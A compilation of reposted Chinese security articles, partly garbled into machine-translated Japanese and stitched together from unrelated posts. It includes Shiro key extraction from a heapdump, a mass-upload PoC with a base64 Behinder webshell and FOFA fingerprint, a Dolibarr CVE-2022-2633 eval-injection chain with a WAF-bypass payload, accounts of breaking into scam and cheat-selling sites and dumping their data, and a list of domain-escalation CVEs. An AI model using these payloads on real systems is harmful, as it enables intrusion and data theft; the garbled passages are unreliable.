加载漏洞环境后,可以看到Shiro版本为1.8.0:

2su5xns0enz15089.jpg

访问8080端口的/actuator/heapdump获取heapdump文件:

u1ggcfhvgrd15091.jpg


获取其中的shiro key,我常用的有两种方式:
(1)JDumpSpider:https://github.com/whwlsfb/JDumpSpider
这个小工具可以自动爬取heapdump中的变量信息,比较方便,坏处是可能会漏掉没在爬取列表中的信息。
直接运行:java -jar JDumpSpider.jar heapdump即可自动获取变量信息,这里获取到ShiroKey:nwpcg515e0d15092.jpg(2)jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
这个工具需要手动去找想要的信息,在过滤里输入org.apache.shiro.web.mgt.CookieRememberMeManager,圈出来的16个字节的值就是key:uahwkiuf2mm15094.jpg
用一个Python小脚本转成base64编码后的Shiro key:

用一个Python小脚本转成base64编码后的Shiro key:

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 109,-96,12,-115,33,59,24,112,44,124,56,110,-15,59,1,-41)))
abftwbqh41215096.jpg

使用获得的key进行利用成功:

gujb35nyfpi15097.jpg

重新启动服务器再次获取shiro key,可以看到key改变了,验证了漏洞原理的第3点,每次启动生成一个随机key:

4xahqmkzrmk15101.png

改用新的key仍然可进行利用:

zygouey3m5415103.jpg




转自原文链接: https://xz.aliyun.com/t/11908

序文

この記事は、コミュニケーションと学習のみです。この記事によって提供された情報の普及と利用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任であり、記事の著者はこれに対して一切責任を負いません。

侵入テストは、情報収集の3つの段階に分類できます。関連するすべての資産情報を可能な限り収集します。テストの範囲を決定します。脆弱性の発見。収集された資産のさらなる脆弱性の検出と搾取。発見された脆弱性のさらなる搾取と搾取の程度。 1。JS图片のAPIインターフェイス

2。マルチポートサイト图片3。カスタマーサービスシステムフィッシングガイダンスなど。图片4。ポイントシステムは、脆弱なサイドステーション图片5をターゲットにします。リチャージインターフェイス图片6。デモサイトのソースコード分析を見つけるソースコードホワイトボックス分析图片 图片

图片

7. BCバックエンドは、JSリソースURL、サブドメインなど、および一般的な小さなサイトを見つけるためのその他の方法にルート化されています。主に最初のドメイン、AD AG ADMIN 123ADMIN HTなどを追加します。

0x00間違った終わりに応じて

私は誤ってゴミのほうれん草のウェブサイト豚を殺すディスク图片のセットに遭遇しました

图片

スキャンされたディレクトリとファイルに1つずつアクセスしても、それほど役に立ちませんが、背景アドレスが見つかります。 phpmyAdminアクセス500。图片

图片

XD.PHPにアクセスしてアクセスして、検証コード图片も許可する必要があることがわかります

私は8888、123456を試しましたが、他のすべてがエラーを促し、その場でそれらを閉じました。图片

ドメイン爆発の試みは1つだけです。 NMAPスキャンでは何も見つかりませんでした。ホームページに戻って、URLは少し珍しいことがわかりました。图片

0x01同様のWebサイトとソースコードを探しています

このような詐欺は、ソースコードをめったに開発しません。ソースコードがインターネットからダウンロードされ、それを構築する人を見つけたことは確かです。機能が機能なので、検索しました。图片 图片

0x02 auditを開始

非常に多くのWebサイトのソースコードは混乱している必要があるため、ソースコードを見つけて監査しようとしています。图片

ソースコードをダウンロードして、Seayでスキャンします。ソースコードが大きすぎて、私はそれをローカルに構築するのが面倒です。ソースコードを直接使用してターゲットを批判します。图片

そこからfileupload.phpファイルを見つけましたが、少し問題があるようです。图片

アクセスターゲットは、ファイルも存在することを発見します。ファイルを抽出し、ローカルに構築された環境でテストします。图片

ダイレクトアクセスは、2つのフォルダーのアップロードとupload_tmpを自動的に作成します。これはデモポイントです。この点は、実際にはバックドアのように見えます。图片

图片

また、ファイル名変数は完全に制御可能です。图片

読み続けて、いくつかの判断を見つけてください。フォームの名前をアップロードするには、ファイルできます。ファイルをアップロードする場合は、他のファイルについて心配する必要はありません。アップロードフォームを変更するだけです。パラメーター名とファイルを追加するだけです。

图片

名前パラメーター制御ファイル名aaa.php 图片を制御します

1.jpgアップロード图片を選択します

アップロード後にリターンパスはありませんが、AAA.PHPファイルはすでにアップロード中に存在しています。 SQL注入图片

変数内の場所の値は、リクエストから生じるものであり、上記のチェックインプットで検出されたタイプの値はありません。图片

Betlistcntをフォローしてください

图片 图片処理せずにクエリに直接持ち込まれ、多くの同様のポイントがあります。

0x03監査脆弱性の検証

图片

以前のアップロードを通してウェブシェルを取得し、権利を増やしてください。图片

それはdebianであることがわかりました。ポート6379があるが、ルートユーザー图片によって開始されていないことがわかりました

图片

カーネルバージョンを見た後、私はそれが大丈夫であるべきだと感じているので、私は許可を持つEXPを見つけようとします。图片

MSF Horse 图片を生成します

便利なため、MSFを使用してこのマシンを起動しました。次に、対応するエスカレーションExpを探します。

0x04権利を調達してみてください

これらの2つのCVE-2019-13272とCVE-2017-16995がGitHubで利用ツールを探していたとき、MSFには実際に右に右に付属していることを思い出しました。そこで、图片を検索しようとしました

图片を検索する場合は使用してください

图片

結果は、その場で图片で失敗しました

2番目のCVE-2017-16995 图片をお試しください

图片

图片ルート許可を使用したセッションを正常に返しました。特権のエスカレーションは完了し、元のリンクで再現されました:https://MP.Weixin.QQQQQQQQQQQQQ5IMLFHHNQNQNBTPFXCA

0x01脆弱性説明ネットワークDuboは、インターネット手段(違法なDubo Webサイト、ほうれん草アプリ、Wechatグループなど)を通じて実施されるギャンブルアクティビティを指します。オンラインデュボは違法であり、資金は法律によって保護されていないため、多くの「詐欺」行動があります。多くの人々はしばしば、だまされた後、警察に電話をかけず、家族の破壊をもたらします。したがって、Duboを取り締まることが緊急です。特定のほうれん草システムにファイルをアップロードする脆弱性があります。攻撃者は、脆弱性を介してトロイの木馬ファイルをアップロードして、サーバーが失われることがあります。

Image

0x02脆弱性再発FOFA:body='main.e5ee9b2df05fc2d310734b11cc8c911e.css'

1. POCを実行し、Ice Scorpion Horseをアップロードし、アップロードパスに戻ります

//statics/admin/webuploader/0.1.5/server/preview.php http/2host: {{hostname}} user-agent: mozilla/5.0(windows nt 10.0; win64; x64; Firefox/104.0ACCEPT: TEXT/HTML、APPLACE/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、*/*; Q=0.8Accept-Language: Zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2accept-encoding: gzip、deflatednt3360 Navigatesec-fetch-site: nonesec-fetch-user: Application/x-www-form-urlencodedcontent-length: 746DATA:IMAGE/PHP; BASE64、PD9WAHAKQGVYCM9YX3JLCG9YDGLUZYGWKTSK2VZC2LVBL9ZDGFYDCGPOWOGICAGJ gtlet0iztq1ztmyowzlyjvkoti1yii7iaojjf9trvntsu9owydrj109jgtletskcsrwb3n0pwzpbgvfz2v0x2nvbnrlbnrr zkcjwaha6ly9pbnb1dcipowojawyoiwv4dgvuc2lvbl9sb2fkzwqoj29wzw5zc2wnkskkcxskckkkkkkddd0iymfzzty0xyiui mrly29kzsi7cgkjhbvvc3q9jhqojhbvvc3quiiipowojcqojcwzvcigkat0woyrpphn0cmxlbigkcg9zdck7jgkrkykgewog icagcqkjicrwb3n0wyrpxsa9icrwb3n0wyrpxv4ka2v5wyrpkzemmtvdoyakiakjcx0kcx0kcwvsc2ukcxskckkkcgg 9ZDD1VCGVUC3NSX2RLY3J5CHQOJHBVVC3QSICJBRVMXMJGILCAKA2V5KTSKX0KICAGICRHCNI9ZXHWBG9KZSGNFCCSJHBV C3QPOWOGICAGJGZ1BMM9JGFYCLSWXTSKICAGICRWYXJHBXM9JGFYCLSXXTSKCWNSYXNZIEN7CHVIBGLJIGZ1BMN0AW9UIF 9faw52b2tlkcrwkksb7zxzhbcgkcc4iiik7fx0kicagiebjywxsx3vzzxjfznvuyyhuzxcgqygplcrwyxjhbxmpowo/pg==s Image

2。ICESCORPIONは、Webシェルを取得するために接続します

Ice Scorpionデフォルト接続パスワード:Rebeyond Image

3.ヌクレイバッチ検証スクリプトは、ナレッジプラネット(多くの資産があります)で公開されています。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzkymtmwnju1mg==mid=2247486261Idx=1Sn=2ea324e5b3b895bd500a509bd15ae90fchksm=c184df E2F6F356F47A5F80D045FAC890227A508488B23898482CE4F9DAA91FECC54D2F83629SCENE=178CUR_ALBUM_ID=258167779399042598912#RD

0x01 漏洞简介

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE编号:CVE-2022-2633

漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

影响版本:<= 15.0.3

0x02 漏洞分析

1.环境搭建

源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

解压到web目录下直接访问~/htdocs/即可

image-20221112215135292

然后配置一下conf/conf.php即可进行安装

2.任意管理员用户注册

这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php

比如这里我添加一个aaa用户

image-20221112224440198

可以成功进入后台的

image-20221112224514801

3.后台RCE

后台RCE的最后点在htdocs/core/lib/functions.lib.php的dol_eval()函数

但是这里是有waf的,把大多数的危险函数都给ban了

  // We block use of php exec or php file functions

    $forbiddenphpstrings = array('$$');

    $forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));



    $forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI");

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func"));



    $forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';



    do {

        $oldstringtoclean = $s;

        $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);

        $s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);

        //$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s);    // Remove $function( call and $mycall->mymethod(

    } while ($oldstringtoclean != $s);



    if (strpos($s, '__forbiddenstring__') !== false) {

        dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);

        if ($returnvalue) {

            return 'Bad string syntax to evaluate: '.$s;

        } else {

            dol_syslog('Bad string syntax to evaluate: '.$s);

            return '';

        }

    }



    //print $s."<br>\n";

    if ($returnvalue) {

        if ($hideerrors) {

            return @eval('return '.$s.';');

        } else {

            return eval('return '.$s.';');

        }

    } else {

        if ($hideerrors) {

            @eval($s);

        } else {

            eval($s);

        }

    }

这里再去找找dol_eval()的调用,上面的verifCond()就调用了

而这里进行了一个拼接,这个外面后面再谈

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function

 

   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点

image-20221112232201159

可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的

关注perms和enable,这两个都是可以直接进入verifCond的

       

 $resql = $this->db->query($sql);

        if ($resql) {

            $numa = $this->db->num_rows($resql);

 

            $a = 0;

            $b = 0;

            while ($a < $numa) {

                //$objm = $this->db->fetch_object($resql);

                $menu = $this->db->fetch_array($resql);

 

                // Define $right

                $perms = true;

                if (isset($menu['perms'])) {

                    $tmpcond = $menu['perms'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $perms = verifCond($tmpcond);

                    //print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>\n";

                }

 

                // Define $enabled

                $enabled = true;

                if (isset($menu['enabled'])) {

                    $tmpcond = $menu['enabled'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $enabled = verifCond($tmpcond);

                }

我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句

  • m.entity IN (0,".$conf->entity.")
  • m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')

所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制perms和enable字段并且entity和menu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity

$sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position";

$sql .= " FROM ".MAIN_DB_PREFIX."menu as m";

$sql .= " WHERE m.entity IN (0,".$conf->entity.")";

$sql .= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')";

if ($type_user == 0) {

    $sql .= " AND m.usertype IN (0,2)";

}

if ($type_user == 1) {

    $sql .= " AND m.usertype IN (1,2)";

}

$sql .= " ORDER BY m.position, m.rowid";

这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数

image-20221113000249851

接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个

image-20221113001946769

接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的

image-20221113002330295

所以这两个WHERE条件都解决了,剩下就是看perms和enable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下

发现perms和enable在menus/edit.php中都是可以直接控制的

image-20221113002856865

经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错

x4xci2mgq2j15154.png

接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数

// file_put_contents

$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');

// shellcode

$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

再往前看verifCond函数

这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function

 

   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

也就是这样的一个payload(无害化的payload

1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//

然后放在enable参数存入数据库,最后发包如下

image-20221113004416906

成功存入数据库

image-20221113004508666

debug一下,进入verifCond

image-20221113004645570

跟进verifCond,恶意构造拼接绕过,进入dol_eval

image-20221113004826342

代码执行成功

image-20221113004918701

成功getshell

image-20221113005123697

漏洞调用栈

image-20221113004952924

0x03 漏洞总结

这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数

漏洞修复

这里作者对于漏洞的修复一个是verifCond函数的加固

这里取消了字符串的拼接且让dol_eval的第四个参数为"1"

image-20221113010538177

这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的

image-20221113011151428

一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行,但是不太懂这有啥意义hhh

image-20221113010132703

            作者:Huamang 转自原文连接: https://blog.huamang.xyz/post/cve-2022-40871/

1。ケース1

私は最近詐欺師にbeatられたので、それらの詐欺師に自閉症の意味を理解させることを計画しています。昨夜、私は鶏肉を食べるプラグイン图片を販売している1,000近くのプラットフォームに登りました

チートを販売する皆さんは、私が時間があるときにあなたを一つずつ襲うでしょう。

それらのほとんどはASPXプログラムを使用していることがわかりましたが、残念ながら、ソースコードなしでホワイトボックスを監査することはできず、ブラックボックスに穴が見つかりません。

私はそれらをつまむために柔らかいpersimmonsしか見つけることができません、そして私はそれらのうちの4つを昨夜1つの息で叩きました

图片

图片

图片

基本的にパゴダがあります

图片

ただし、PHP-Venom 4シリーズとサポートエンコーダーはパゴダよりも安定しています

图片

图片

图片

私はズボンを脱いで、中に4000以上のデータがあることがわかりました

图片

別の鶏肉を食べるプラグインステーションが今夜ヒットしました

残念ながら、恥ずかしいことは、書き込み許可がないということです

大きな水文記録を書いてください

1.舞台裏图片に入るルーチンはありません

これはプロモーションサイトと見なされるべきであり、その中には何もありません、プロモーションコンテンツのみ

あなたが何であろうと、それをしてください。

私はそれを見ました。それはドリームウィーバーの2番目の開発サイトでした

舞台裏に入るのは簡単で、誰もがここでそれが何を意味するのかを理解しています。

图片

图片

2。形而上学的バックエンド

バックエンドが多くの機能、特にDreamWeaverファイルマネージャーを削除したことがわかりました

しかし、経験的な観点からは、これらの二次開発の多くはエディターを実際に削除するものではありませんが、背景ページには表示されません。

要素の開始を確認します

それを変更するリンクを見つけて、それをmedia_main.php?dopost=filemanagerに置き換えるだけです

その後、クリックして、ファイルマネージャーページを見つけました

图片

シェルをアップロードします

图片

私はそれがこのように終わると思った

アップロードは成功しましたが、何もなかったことが判明しました

私はそれがWAFだと思ったので、私はそれを続けるのに十分な悪くない無害なJPGに変更しました。

ディレクトリの許可の問題だと思います

セッションの一時ファイルを見つけてアップロードしますが、それでも機能しません。

私は写真を載せませんが、それを渡すことはできません。

サイト全体に書く許可がないと思います

削除関数を試して、ファイルを削除できることを見つけます

emmmmm、それで許可がありますか?

一般的に、書き込みアクセス許可がない場合、変更許可はありません。つまり、削除許可はありません。

アップロード機能が壊れているかどうかを考えるには、メソッドをゲッシェルに変更します

3.ゲシェルに失敗したときに頭に浮かぶ最初のことは、ファイルを変更してシェルを入れることです

CSRFトークンを表示するのは間違っています

検索後に解決する方法

チェック機能を直接変更し、最初の文で返品を追加したことがわかりました

その結果、config.phpファイルを変更すると、このエラーもポップアップ表示されました

だから私はデッドサイクルに陥りました。

タグを変更するのと同じエラーです。

次に、DreamWeavingの各0日を試して、背景コードを自由に実行しました。

プロンプトの実行は成功しましたが、404ページまたはCSRFトークンのいずれかがエラーを報告しました

CSSRFトークン検出が常に失敗するのはなぜですか?私は以前にそのような問題に遭遇したことがありません。私が間違っていたからですか?

私のいとこが理由を知っているなら、ありがとうございます

4. Gotshllはもともとそれについて考え、その後食事をしに出かけました。

それから、パスワードが弱いので他の人のバックドアがあるのではないかと思いました。

DreamWeaverには独自のバックドア検出と殺害機能があることを覚えています

同じレビュー要素について、バックドアチェック機能を見つけてスキャンを開始します

案の定、疑わしいファイルが見つかりました

それから私はそれが他のすべての人のバックドアであることを見ました

何かを見つけて接続します

5.最後に、私はそれが星外のホストであり、サイト全体に書き込み許可がないことがわかったので、アップロードできないのも不思議ではありません。

ディレクトリをめくった後、クロスサイト、書き込み許可がありません、機能をバイパスすることはできません

それは何もないようなものです。

しかし、魔法は任意のファイルを削除できるということです

サイトを削除しません。証拠を保存します

2。ケース2

最初にウェブサイトを開いて、そのクールなインターフェイスを見ることができます

心温まる発表

恥知らずなプロパガンダの言葉

1。TP3開発、バックグラウンド/管理者に基づく発見注入

ユニバーサルパスワードを試してください

迅速なパスワードエラー

Admin admin888を試してみて、アカウントが存在しないことを促します

注入がある可能性があることを考えると、2つのエコーは異なっています

2。パケットをキャッチするためにげっぷを使用して、さらにテストするためにリピーターに送信できません

return status: -2条件が真であることが判明した場合、条件がfalseの場合はstatus: -1を返します

推測のさらなる確認、バックグラウンドインジェクションが存在します

sqlmapに投げて実行します

注入は検出できず、404の束が見つかりません

最初はSQLMAPトラフィックをブロックするCDNだと思っていましたが、後で保護がまったくないことがわかりました。偽のCDN

だから、CMSが何かをフィルタリングした可能性があると考えてください

3。フィルタリングをバイパスし、テスト後、角度ブラケットが表示される限り404に返されます。

バイパスの間で使用できます

この時点で、条件に応じて前後に表示し続けます=-2条件False=-1

死角状態が満たされます

突然、この状況は5番目のスペース決勝で注入された質問と同じだと思いました。

Trueが1つのページに戻り、Falseが別のページに戻り、フィルタリングされた文字が表示されて他のページに戻り、バイパスの間に使用します

CTFは誠実で、私を欺くことはありません

したがって、SQLMAPパラメーターの間に-tamper=を追加します

4.最後の

データベース内の管理者パスワードで使用されるAES暗号化は、秘密のキーがなく、解読できません。

通常のユーザーのログインポートは閉じられており、登録またはログインすることはできません。

孤児に関する情報を逃れることを除いて、役に立たない。

証拠を梱包して、関連する部門に提出する

元のリンクから転載:https://mp.weixin.qq.com/s/BMS1EPVPB1S7SU2KQX8CTA

QQスペースで閲覧しています

图片

以下はこちらです。サイトを開くと、非常に思いやりがあり、最前線とバックオフィスに入ることができます。

图片

图片

以下の抜け穴について話しましょう

SQLインジェクション、テンプレートの2オープニングに基づいた一連のプログラムがありますが、これはたまたま私が手に持っていて監査したものです。だから簡単に取る。图片

フィルタリングなし、メモを作成してください。

图片

この任意のファイルをアップロードすることは、開発者が残したバックドアであると思います。

图片

理解できる人は一目でそれを見ることができます。ローカルで新しいフォームを作成して送信するだけです。

ただし、ターゲットサイトには問題があります。アップロード時にパスがエコーされないため、エコーについてコメントする必要があります。ローカルに構築されたテスト、

图片

この形式にアップロードファイル名を変更します。

アイデア:アップロードをローカルに再現し、リモコンと同時に送信します。同じ時点で、返されたファイル名は同じでなければなりません。

テスト图片

再登場は成功します。

图片

それがなるまでクリックします。

PHP監査に熟練している皆さんにお聞きしたいと思います

图片

このコードは便利ですか?

图片

さまざまな切り捨てを試すことは、PHPコードを実行することはできません。

元のリンクから転載:https://mp.weixin.qq.com/s/hduqd7jm72b00osu9ip1bq


1.MS14-068

kerberos认证,no PAC

用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据

漏洞效果:

将任意域用户提升到域管权限

利用条件:

1.小于2012R2的域控 没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

利用方式:

在《Kerberos认证及过程中产生的攻击》一文中有详细讲

这可以看 https://cloud.tencent.com/developer/article/1760132

2.CVE-2020-1472

NetLogon特权提升漏洞(CVE-2020-1472)是一个windows域控中严重的远程权限提升漏洞。

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致

以将域控机器用户的password设置为空。

这样我们就可以导域管hash,最后再还原域控机器用户的密码

漏洞效果:

可利用此漏洞获取域管访问权限

影响版本:

利用方式:

https://cloud.tencent.com/developer/article/1780108

https://cloud.tencent.com/developer/article/1837483

3.CVE-2021-42287&42278

Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限

漏洞效果:

将任意域用户提升到域管权限

影响版本:

利用条件 :

(1)一个普通域成员帐户

(2)域用户有创建机器用户的权限(一般默认权限)

(3)DC未打补丁KB5008380或KB5008602

利用方式:

https://blog.csdn.net/FHLZLHQ/article/details/121964692


4.CVE-2021-1675/CVE-2021-34527

PrintNightmare 此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

漏洞效果:

未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权

影响版本:

利用场景

  • 在工作组环境下,可通过该漏洞获取系统最高权限;
  • 域环境下,直接攻击域控制器可以获取域控的SYSTEM权限,执行任意代码;
  • 可用于持久化的操作,得到域控后,在有共享目录、能访问到域控的情况下,远程的加载共享目录下的DLL。

利用条件

  • 目标开启Spooler服务;
  • 一个普通权限的域账户;
  • 创建的smb服务允许匿名访问,即目标可以直接获取到文件。

利用方式

https://bewhale.github.io/posts/29501.html

https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw

5.CVE-2019-1040

2019年6月,Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞,攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器。

漏洞效果

通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器,包括域控服务器。

影响版本

Windows 7 sp1 至Windows 10 1903

Windows Server 2008 至Windows Server 2019

利用场景

对于特定环境, CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径:

1、攻击域Exchange Server (下面以这种途径来描述)

2、攻击域AD Server(结合基于资源的约束委派)

利用条件

A、Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。 B、域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户) C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。 D、构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。 E、如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)

漏洞利用攻击链

1、使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。 2、中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。 3、使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。 4、攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。

利用方式:

同一网段内:https://www.freebuf.com/vuls/274091.html

隧道下:https://zhuanlan.zhihu.com/p/142080911

CVE-2019-1040+RBCD(基于资源的约束性委派)+PetitPatom

6.域委派攻击

https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

7.NTLM Relay

https://www.anquanke.com/post/id/193149 https://www.anquanke.com/post/id/193493 https://www.anquanke.com/post/id/194069 https://www.anquanke.com/post/id/194514

8.ADCS漏洞--ESC8(PetitPotam)(ADCS relay)

ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持NTLM认证

漏洞效果:

将普通域用户提升到域管权限

利用条件:

1.未打adcs的补丁 2.有两台域控 3.有adcs服务

利用方式:

https://blog.csdn.net/qq_43645782/article/details/119322322

https://forum.butian.net/share/1583

9.ADCS漏洞--CVE-2022–26923

漏洞影响: 允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员

漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)

漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

受影响的 Windows 版本:

Windows 8.1

Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2

Windows 11

Windows Server 2008,2012,2016,2019,2022

利用先决条件:

CVE-2022-26923/CVE-2022-26931漏洞与2021年CVE-2021-42278/CVE-2021-42287sAMAccountName spoofing漏洞类似,均通过利用伪造域控制器名称身份来进行相关的提权操作。它的利用先决条件为:

  1. 该提权漏洞适用于所有的Windows服务器活动目录版本,包含目前位于微软产品支持范围内的Windows Server 2012 R2到Windows Server 2022,以及超出产品支持范围的旧Windows服务器版本。
  2. 入侵者至少控制一个活动目录用户账户,该用户账户对于活动目录中至少一个计算机账户具有“Validated write to DNS host name”权限。默认情况下,单个活动目录普通域用户可以加入或创建(包含创建空账户)10个计算机账户到活动目录中,并对自己所加入/创建的计算机账户具有CREATOR OWNER管理权限(包含“Validated write to DNShost name”权限)。因此该权限较为容易获得。
  3. 在活动目录内部部署有企业证书服务,并允许上述被控制的计算机账户申请计算机身份验证证书。企业证书服务是活动目录中广泛部署的一种相关基础服务,并且默认情况下,与活动目录集成的企业证书服务默认即允许域内计算机申请计算机身份验证证书。

复现参考:

https://forum.butian.net/share/1578

https://forum.butian.net/share/1583

10.Exchange相关,可控制Exchange服务器

Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限。拿到Exchange服务器,有很大概率就是域管直接登录的。或者域管曾经登录过。拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限。如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户。而且就算是高版本的server,在Exchange上也能抓到明文密码。

11.CVE-2018-8581 (拿域控)

漏洞描述:

该漏洞利用了 Exchange 服务器的 SSRF 和高权限的请求,导致拥有合法邮箱凭证的用户可以被提升至域管权限

影响范围:

利用条件:

Exchange 默认配置下,攻击者拥有合法的邮箱用户凭证,同时,该漏洞利用是通过 NTLM Relay的方式进行提权,因此攻击者需要已经在内网环境中取得可用主机。

漏洞简介:

该漏洞的发生源于几个方面:

